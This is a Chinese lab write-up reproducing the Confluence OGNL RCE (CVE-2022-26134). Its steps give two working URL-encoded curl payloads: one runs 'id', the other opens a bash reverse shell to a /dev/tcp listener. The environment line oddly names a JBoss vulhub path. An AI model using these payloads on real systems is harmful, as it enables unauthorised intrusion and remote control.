CVE-2022-26134 Confluence OGNL RCE 复现

一、漏洞概述

        Atlassian Confluence 是一款各企业广泛使用的 wiki 系统。在Atlassian Confluence Server and Data Center上存在OGNL 注入漏洞，远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码。。

二、影响版本

• 1.3.0 <= Confluence Server and Data Center < 7.4.17
• 7.13.0 <= Confluence Server and Data Center < 7.13.7
• 7.14.0 <= Confluence Server and Data Center < 7.14.3
• 7.15.0 <= Confluence Server and Data Center < 7.15.2
• 7.16.0 <= Confluence Server and Data Center < 7.16.4
• 7.17.0 <= Confluence Server and Data Center < 7.17.4
• 7.18.0 <= Confluence Server and Data Center < 7.18.1

三、漏洞原理

　　https://zhuanlan.zhihu.com/p/526003612

四、漏洞复现环境

　　攻击机：Kali

　　漏洞环境：vulhub（/vulhub/jboss/JMXInvokerServlet-deserialization）

五、实验步骤

1.拉取docker，配置环境

2.curl上传poc

curl -v http://192.168.117.131:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ 

3.更换exp，getshell

curl -v http://192.168.117.131:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.128/9898%200%3E%261%27%29.start%28%29%22%29%7D/ 

六、修复方式

当前官方已发布最新版本，建议受影响的用户及时更新升级到最新版本。https://www.atlassian.com/software/confluence/download-archives